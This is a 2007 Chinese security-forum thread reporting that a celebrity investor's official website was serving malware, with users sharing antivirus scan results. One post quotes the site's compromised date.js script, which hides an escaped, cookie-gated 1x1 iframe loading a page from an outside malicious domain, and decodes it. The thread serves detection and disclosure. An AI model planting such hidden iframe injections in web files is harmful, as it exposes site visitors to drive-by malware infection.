股神＂胡立阳＂　官网挂马

显示全部楼层 · 发表于 2007-12-15 10:41:11

www.huliyang.com/

显示全部楼层 · 发表于 2007-12-15 10:55:37

找出来了，挂这儿了http://huliyang.com/js/date.js

var day="";
var month="";
var ampm="";
var ampmhour="";
var myweekday="";
var year="";
mydate=new Date();
myweekday=mydate.getDay();
mymonth=mydate.getMonth()+1;
myday= mydate.getDate();
myyear= mydate.getYear();
year=(myyear > 200) ? myyear : 1900 + myyear;
if(myweekday == 0)
weekday=" 星期日 ";
else if(myweekday == 1)
weekday=" 星期一 ";
else if(myweekday == 2)
weekday=" 星期二 ";
else if(myweekday == 3)
weekday=" 星期三 ";
else if(myweekday == 4)
weekday=" 星期四 ";
else if(myweekday == 5)
weekday=" 星期五 ";
else if(myweekday == 6)
weekday=" 星期六 ";
document.write(year+"年"+mymonth+"月"+myday+"日 "+weekday);
if(document.cookie.indexOf('hello')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='hello=Yes;path=/;expires='+expires.toGMTString();document.write(unescape("%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%61%61%2E%6C%6C%73%67%69%6E%67%2E%63%6F%6D%2F%77%77%2F%6E%65%77%32%38%30%2E%68%74%6D%3F%30%31%36%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E"));}

最后这句，解密出来即
<iframe src=http://aa.llsging.com/ww/new280.htm?016 width=1 height=1></iframe>

显示全部楼层 · 发表于 2007-12-15 10:57:35

原帖由 lovewei 于 2007-12-15 10:55 发表
找出来了，挂这儿了http://huliyang.com/js/date.js

var day="";
var month="";
var ampm="";
var ampmhour="";
var myweekday="";
var year="";
mydate=new Date();
myweekday=mydate.getDay();
mymon ...

样本捏??? 给个连接啊

显示全部楼层 · 发表于 2007-12-15 10:59:58

原帖由 绅博周幸 于 2007-12-15 10:57 发表

样本捏??? 给个连接啊

自己抓了

显示全部楼层 · 发表于 2007-12-15 11:01:01

Starting the file scan:

Begin scan in 'C:\Users\Xing\Documents\Documents.rar'
C:\Users\Xing\Documents\Documents.rar
  [0] Archive type: RAR
  --> nini[1].htm
   [DETECTION] Contains detection pattern of the Java script virus JS/Dldr.Psyme.ED
  --> bf[1].htm
   [DETECTION] Contains suspicious code HEUR/Exploit.HTML
  --> gege[1].htm
   [DETECTION] Contains suspicious code HEUR/Exploit.HTML
   [INFO]    The file was deleted!

显示全部楼层 · 发表于 2007-12-15 11:48:00

有启发报的

显示全部楼层 · 发表于 2007-12-15 15:46:03

NOD32 MISS

显示全部楼层 · 发表于 2007-12-15 16:13:38

微点砍掉

显示全部楼层 · 发表于 2007-12-15 19:19:29

网页！

RX20.22.51未杀。

显示全部楼层 · 发表于 2007-12-16 19:41:18

原帖由 绅博周幸 于 2007-12-15 10:41 发表
www.huliyang.com/

股神不是巴菲特吗。。。

[已鉴定] 股神＂胡立阳＂　官网挂马

回复 4楼绅博周幸的帖子

[已鉴定] 股神＂胡立阳＂ 官网挂马

回复 4楼 绅博周幸 的帖子

[已鉴定] 股神＂胡立阳＂　官网挂马

回复 4楼绅博周幸的帖子